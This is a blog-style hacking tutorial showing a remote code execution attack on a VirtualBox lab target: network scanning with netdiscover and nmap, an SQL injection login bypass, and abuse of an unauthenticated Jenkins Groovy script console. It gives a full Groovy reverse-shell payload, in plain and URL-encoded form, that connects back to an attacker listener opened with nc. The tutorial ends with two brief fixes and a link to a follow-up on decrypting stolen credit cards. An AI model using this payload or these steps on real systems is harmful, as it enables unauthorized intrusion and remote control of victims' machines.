HOW TO PERFORM A REMOTE CODE EXECUTION ATTACK ON A SYSTEM
Tags: hacking, cybersecurity, remote, ethicalhacks
Published: 2022-10-10 05:18:57

---
title: HOW TO PERFORM A REMOTE CODE EXECUTION ATTACK ON A SYSTEM
published: true
description: Learn how to perform remote code execution on another system and create a back door to collect information from that system.
tags: #hacking #cybersecurity #remote #ethicalhacks
# cover_image: ![Pin](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/wldlmryb30802grc3z61.jpg)
# Use a ratio of 100:42 for best results.
canonical_url: https://learnhub.42web.io/2022/10/10/how-to-perform-a-remote-code-execution-attack-on-a-system/
---
HOW TO PERFORM A RCE  HACKING ATTACK ON A SYSTEM 

RCE (Remote Code Execution) RCE is an attack that allows the attacker gain access to a victims (another computer user) computer without authorization and remotely execute malicious code. 

For this demonstration we are going to gain unauthorized access and then execute some of our code to bring down the whole system. 

NOTE:  This tutorial is for learning purpose only.


Prerequisite  

To follow this article, you have the following:

- A system with a virtual box
- Kali installed.
- Internet connection. 
ENUMERATION

Using netdiscover to scan available IPs to determine our virtual machine IP address.

Netdiscover gave us  4 IP address. 

![](https://paper-attachments.dropbox.com/s_C867D43B6E47496F5B2D718D097A49D2A3C0AFC24EDD8B3A16CFEE4AB469503C_1665373658510_image.png)



Next we are going to scan one of the IP address, we got from the netdiscover scan `192.168.199.130` using nmap. 


    sudo nmap -sC -sV -A -p- 192.168.199.130



![](https://paper-attachments.dropbox.com/s_C867D43B6E47496F5B2D718D097A49D2A3C0AFC24EDD8B3A16CFEE4AB469503C_1665373925402_image.png)


`Port 10080` has a sign in page, taking a look at it on Firefox, Firefox show a restricted port error.

![](https://paper-attachments.dropbox.com/s_C867D43B6E47496F5B2D718D097A49D2A3C0AFC24EDD8B3A16CFEE4AB469503C_1665374223625_image.png)

Bypassing the error

Now we are going to try bypassing the error we see on on browser, on the address bar `about:config`, Search for `network.security.ports.banned .overriede:on`.

Adding a new string with the port number gotten from nmap during scanning, which is port `10080`.

![](https://paper-attachments.dropbox.com/s_C867D43B6E47496F5B2D718D097A49D2A3C0AFC24EDD8B3A16CFEE4AB469503C_1665374365857_image.png)


Refreshing the page 192.168.199.130:10080

![](https://paper-attachments.dropbox.com/s_C867D43B6E47496F5B2D718D097A49D2A3C0AFC24EDD8B3A16CFEE4AB469503C_1665374496054_image.png)



Bypassing Authentication

For this next stage, with no information about user name and password. `SQLi` came to the rescue.


SQL(structured query) Injection

SQL injection (SQLi) is a web security vulnerability that allows an attacker to interfere with the queries that an application makes to its database. It generally allows an attacker to view data that they are not normally able to retrieve (portswigger)

`admin’ or ‘1’=’1` for both username and password

This particular attack will work when you are attacking a particular port such as the one we are currently working on. 

![](https://paper-attachments.dropbox.com/s_C867D43B6E47496F5B2D718D097A49D2A3C0AFC24EDD8B3A16CFEE4AB469503C_1665374749129_image.png)


Access granted!

![](https://paper-attachments.dropbox.com/s_C867D43B6E47496F5B2D718D097A49D2A3C0AFC24EDD8B3A16CFEE4AB469503C_1665374864369_image.png)


 

![](https://paper-attachments.dropbox.com/s_C867D43B6E47496F5B2D718D097A49D2A3C0AFC24EDD8B3A16CFEE4AB469503C_1665374948900_image.png)


 

Querying webhook

A webhook is a service that allows one program to send data to another as soon as a particular event takes place. Webhooks are sometimes referred to as “reverse APIs,” because communication is initiated by the application sending the data rather than the one receiving it.

Looking at the dashboard, Jenkins service is running.
In the webhook tab we can see a list of input fields to for our queries. Trying to request the API from the header http://127.0.0.1:8080/api/json.


![](https://paper-attachments.dropbox.com/s_C867D43B6E47496F5B2D718D097A49D2A3C0AFC24EDD8B3A16CFEE4AB469503C_1665375066463_image.png)


 
 

![](https://paper-attachments.dropbox.com/s_C867D43B6E47496F5B2D718D097A49D2A3C0AFC24EDD8B3A16CFEE4AB469503C_1665375088320_image.png)


 
From the result, Jenkins API is open, which means anything can be sent to it and it will run it.


Exploiting Jenkins through webhook

Jenkins features a Groovy script console which allows one to run `arbitrary Groovy scripts` within the Jenkins controller runtime or in the runtime on agents.
We are going to take advantage of this console to execute our exploit.

To execute groovy script remotely we can send HTTP POST Request to /script/ url or /scriptText/. For this demonstration our request will be sent to /scriptText.

First, we set up a listener on our attacker machine on `port 4444` like this. 

    nc -lvnp 4444


![](https://paper-attachments.dropbox.com/s_C867D43B6E47496F5B2D718D097A49D2A3C0AFC24EDD8B3A16CFEE4AB469503C_1665375209857_image.png)


Next, we prepare our payload:

String host="192.168.199.128"; int port=4444;


    String cmd="bash"; Process p=
    new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(p e.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try
    {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();

encoding this we get;

    String%20host%3D%22192.168.199.128%22%3B%0Aint%20port%3D4444%3B%0A%0AString%20cmd%3D%22bash% 22%3B%0AProcess%20p%3D%0Anew%20ProcessBuilder%28cmd%29.redirectErrorStream%28true%29.start%28%29
    %3BSocket%20s%3Dnew%20Socket%28host%2Cport%29%3BInputStream%20pi%3Dp.getInputStream%28%29%2Cp e%3Dp.getErrorStream%28%29%2C%20si%3Ds.getInputStream%28%29%3BOutputStream%20po%3Dp.getOutputStr eam%28%29%2Cso%3Ds.getOutputStream%28%29%3Bwhile%28%21s.isClosed%28%29%29%7Bwhile%28pi.available
    %28%29%3E0%29so.write%28pi.read%28%29%29%3Bwhile%28pe.available%28%29%3E0%29so.write%28pe.read%2 8%29%29%3Bwhile%28si.available%28%29%3E0%29po.write%28si.read%28%29%29%3Bso.flush%28%29%3Bpo.flus h%28%29%3BThread.sleep%2850%29%3Btry%20%7Bp.exitValue%28%29%3Bbreak%3B%7Dcatch%20%28Exception
    %20e%29%7B%7D%7D%3Bp.destroy%28%29%3Bs.close%28%29%3B
![](https://paper-attachments.dropbox.com/s_C867D43B6E47496F5B2D718D097A49D2A3C0AFC24EDD8B3A16CFEE4AB469503C_1665375446375_image.png)


Then click submit

![](https://paper-attachments.dropbox.com/s_C867D43B6E47496F5B2D718D097A49D2A3C0AFC24EDD8B3A16CFEE4AB469503C_1665375490548_image.png)


 
On our listening machine

![](https://paper-attachments.dropbox.com/s_C867D43B6E47496F5B2D718D097A49D2A3C0AFC24EDD8B3A16CFEE4AB469503C_1665375515939_image.png)


We have been able to access the machine remotely through Jenkins.

![](https://paper-attachments.dropbox.com/s_C867D43B6E47496F5B2D718D097A49D2A3C0AFC24EDD8B3A16CFEE4AB469503C_1665375562537_image.png)


Details from my listener matches the virtual box.


Recommendation
- To avoid SQLi parameterized queries can be used instead of instead of string concatenation within the query.
- Jenkins did not have authorization. Jenkins should have authorization.

PART 2
[FIND THE ENCRYPTED CREDIT CARDS AND DECRYPT THEM](https://learnhub.42web.io/category/security/).